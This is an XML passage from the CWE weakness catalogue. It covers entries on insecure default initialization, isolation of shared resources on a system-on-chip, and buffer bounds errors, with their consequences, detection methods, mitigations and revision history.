            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP8</Entry_ID>
               <Entry_Name>Faulty Buffer Access</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="10"/>
            <Related_Attack_Pattern CAPEC_ID="14"/>
            <Related_Attack_Pattern CAPEC_ID="24"/>
            <Related_Attack_Pattern CAPEC_ID="45"/>
            <Related_Attack_Pattern CAPEC_ID="46"/>
            <Related_Attack_Pattern CAPEC_ID="47"/>
            <Related_Attack_Pattern CAPEC_ID="8"/>
            <Related_Attack_Pattern CAPEC_ID="9"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-09-09">Range Errors</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Improper Access of Indexable Resource (aka 'Range Error')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2017-05-03">Improper Access of Indexable Resource ('Range Error')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="1187" Name="DEPRECATED: Use of Uninitialized Resource" Abstraction="Base" Structure="Simple" Status="Deprecated">
         <Description>This entry has been deprecated because it was a duplicate of CWE-908. All content has been transferred to CWE-908.</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-03-25</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships, Type, Weakness_Ordinalities</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Use of Uninitialized Resource</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="1188" Name="Insecure Default Initialization of Resource" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product initializes or sets a resource with a default that is intended to be changed by the administrator, but the default is not secure.</Description>
         <Extended_Description><xhtml:p>Developers often choose default values that leave the product as open and easy to use as possible out-of-the-box, under the assumption that the administrator can (or should) change the default value.  However, this ease-of-use comes at a cost when the default is insecure and the administrator does not change it.</xhtml:p>
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="665" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="665" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="665"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Maintenance">This entry improves organization of concepts under initialization.  The typical CWE model is to cover "Missing" and "Incorrect" behaviors.  Arguably, this entry could be named as "Incorrect" instead of "Insecure."  This might be changed in the near future.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-03-25</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1189" Name="Improper Isolation of Shared Resources on System-on-a-Chip (SoC)" Abstraction="Base" Structure="Simple" Status="Stable">
         <Description>The System-On-a-Chip (SoC) does not properly isolate shared resources between trusted and untrusted agents.</Description>
         <Extended_Description>
            <xhtml:p>A System-On-a-Chip (SoC) has a lot of functionality, but it may have a limited number of pins or pads. A pin can only perform one function at a time. However, it can be configured to perform multiple different functions. This technique is called pin multiplexing. Similarly, several resources on the chip may be shared to multiplex and support different features or functions. When such resources are shared between trusted and untrusted agents, untrusted agents may be able to access the assets intended to be accessed only by the trusted agents.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
	   <Related_Weakness Nature="ChildOf" CWE_ID="653" View_ID="1000" Ordinal="Primary"/>
           <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000"/>
	   <Related_Weakness Nature="PeerOf" CWE_ID="1331" View_ID="1000"/>
         </Related_Weaknesses>
	 <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
		 </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="System on Chip" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>If resources being used by a trusted user are shared with an untrusted user, the untrusted user may be able to modify the functionality of the shared resource of the trusted user.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Quality Degradation</Impact>
               <Note>The functionality of the shared resource may be intentionally degraded.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Dynamic Analysis</Method>
               <Description>
                  <xhtml:p>Pre-silicon / post-silicon: Test access to shared systems resources (memory ranges, control registers, etc.) from untrusted software to verify that the assets are not incorrectly exposed to untrusted agents. Note that access to shared resources can be dynamically allowed or revoked based on system flows. Security testing should cover such dynamic shared resource allocation and access control modification flows.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                 <xhtml:p>When sharing resources, avoid mixing agents of varying trust levels.</xhtml:p>
                 <xhtml:p>Untrusted agents should not share resources with trusted agents.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
	      <Intro_Text>Consider the following SoC
	      design. The Hardware Root of Trust (HRoT) local SRAM is memory mapped in the core{0-N}
	      address space. The HRoT allows or disallows access to private memory ranges, thus
	      allowing the sram to function as a mailbox for communication between untrusted and
	      trusted HRoT partitions.</Intro_Text>
	    <Body_Text>
	    <xhtml:img src="https://cwe.mitre.org/data/images/HRoT-CWE.png" alt="Hardware Root of Trust"/>
	    <xhtml:p>
	      We assume that the threat is from malicious software in
	      the untrusted domain. We assume this software has access
	      to the core{0-N} memory map and can be running at any
	      privilege level on the untrusted cores. The capability
	      of this threat in this example is communication to and
	      from the mailbox region of SRAM modulated by the
	      hrot_iface. To address this threat, information must not
	      enter or exit the shared region of SRAM through
	      hrot_iface when in secure or privileged mode.
	      </xhtml:p>
	    </Body_Text>
            </Demonstrative_Example>
          </Demonstrative_Examples>
	  <Observed_Examples>
	    <Observed_Example>
	      <Reference>CVE-2020-8698</Reference>
	      <Description>Processor has improper isolation of shared resources allowing for information disclosure.</Description>
	      <Link>https://www.cve.org/CVERecord?id=CVE-2020-8698</Link>
	    </Observed_Example>
	    <Observed_Example>
	      <Reference>CVE-2019-6260</Reference>
	      <Description>Baseboard Management Controller (BMC) device implements Advanced High-performance Bus (AHB) bridges that do not require authentication for arbitrary read and write access to the BMC's physical address space from the host, and possibly the network [REF-1138].</Description>
	      <Link>https://www.cve.org/CVERecord?id=CVE-2019-6260</Link>
	    </Observed_Example>
	  </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="124"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-1036"/>
	    <Reference External_Reference_ID="REF-1138"/>
         </References>
         <Content_History>
            <Submission>
			   <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
               <Submission_Organization>Intel Corporation</Submission_Organization>
               <Submission_Date>2019-10-15</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description, Name, Potential_Mitigations, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Description, Observed_Examples, References, Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Detection_Factors</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Organization>Tortuga Logic</Contribution_Organization>
               <Contribution_Date>2021-07-16</Contribution_Date>
               <Contribution_Comment>Provided Demonstrative Example for Hardware Root of Trust</Contribution_Comment>
            </Contribution>
	    <Contribution Type="Content">
	      <Contribution_Name>Hareesh Khattri</Contribution_Name>
	      <Contribution_Organization>Intel Corporation</Contribution_Organization>
	      <Contribution_Date>2021-10-22</Contribution_Date>
	      <Contribution_Comment>provided observed example</Contribution_Comment>
	    </Contribution>
	    <Contribution Type="Content">
	      <Contribution_Name>Hareesh Khattri</Contribution_Name>
	      <Contribution_Organization>Intel Corporation</Contribution_Organization>
	      <Contribution_Date>2022-04-18</Contribution_Date>
	      <Contribution_Comment>changed detection method</Contribution_Comment>
	    </Contribution>
			<Previous_Entry_Name Date="2020-08-20">Improper Isolation of Shared Resources on System-on-Chip (SoC)</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="119" Name="Improper Restriction of Operations within the Bounds of a Memory Buffer" Abstraction="Class" Structure="Simple" Status="Stable">
         <Description>The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.</Description>
         <Extended_Description>
            <xhtml:p>Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data.</xhtml:p>
            <xhtml:p>As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="118" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Often"/>
            <Language Name="C++" Prevalence="Often"/>
            <Language Class="Assembly" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Buffer Overflow</Term>
               <Description>This term has many different meanings to different audiences.  From a CWE mapping perspective, this term should be avoided where possible. Some researchers, developers, and tools intend for it to mean "write past the end of a buffer," whereas others use the same term to mean "any read or write outside the boundaries of a buffer, whether before the beginning of the buffer or after the end of the buffer."  Still others using the same term could mean "any action after the end of a buffer, whether it is a read or write." Since the term is commonly used for exploitation and for vulnerabilities, it further confuses things.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>buffer overrun</Term>
               <Description>Some prominent vendors and researchers use the term "buffer overrun," but most people use "buffer overflow." See the alternate term for "buffer overflow" for context.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>memory safety</Term>
			   <Description>Generally used for techniques that avoid weaknesses related to memory access, such as those identified by CWE-119 and its descendants. However, the term is not formal, and there is likely disagreement between practitioners as to which weaknesses are implicitly covered by the "memory safety" term.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Modify Memory</Impact>
               <Note>If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Note>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
               <Note>In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-1">
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.</xhtml:p>
                  <xhtml:p>Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
               <Effectiveness_Notes>Detection techniques for buffer-related errors are more mature than for most other weakness types.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-2">
               <Method>Automated Dynamic Analysis</Method>
               <Description>This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode Quality Analysis</xhtml:li>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                       <xhtml:ul>
                         <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                       </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                     <xhtml:ul>
                       <xhtml:li>Fuzz Tester</xhtml:li>
                       <xhtml:li>Framework-based Fuzzer</xhtml:li>
                     </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                     <xhtml:ul>
                       <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                       <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                     </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                     <xhtml:ul>
                       <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                       <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                     </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source Code Quality Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-3">
               <Phase>Requirements</Phase>
               <Strategy>Language Selection</Strategy>
               <Description>
                  <xhtml:p>Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.</xhtml:p>
                  <xhtml:p>Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4.1">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.</xhtml:p>
               </Description>
               <Effectiveness_Notes>This is not a complete solution, since many buffer overflows are not related to strings.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-10">
	      <Phase>Operation</Phase> 
	      <Phase>Build and Compilation</Phase>
	      <Strategy>Environment Hardening</Strategy> 
	      <Description> 
		<xhtml:p>Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. </xhtml:p> 
		<xhtml:p> D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail. </xhtml:p> 

	      </Description> 
	      <Effectiveness>Defense in Depth</Effectiveness> 
	      <Effectiveness_Notes> 
		<xhtml:p> This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application. </xhtml:p> 
	      </Effectiveness_Notes> 
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-9">
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Consider adhering to the following rules when allocating and managing an application's memory:</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>Double check that the buffer is as large as specified.</xhtml:li>
                        <xhtml:li>When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.</xhtml:li>
                        <xhtml:li>Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.</xhtml:li>
                        <xhtml:li>If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.</xhtml:li>
                     </xhtml:ul>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-11">
               <Phase>Operation</Phase> 
	       <Phase>Build and Compilation</Phase> 
	       <Strategy>Environment Hardening</Strategy> 
	       <Description>
		 <xhtml:p>Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. </xhtml:p> 
		 <xhtml:p> Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. </xhtml:p> 
		 <xhtml:p> For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335]. </xhtml:p>
	       </Description> 
	       <Effectiveness>Defense in Depth</Effectiveness> 
	       <Effectiveness_Notes>These techniques do not provide a complete solution.  For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]</Effectiveness_Notes> 
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-12">
               <Phase>Operation</Phase> 
	       <Strategy>Environment Hardening</Strategy> 
	       <Description> 
		 <xhtml:p> Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.  </xhtml:p> 
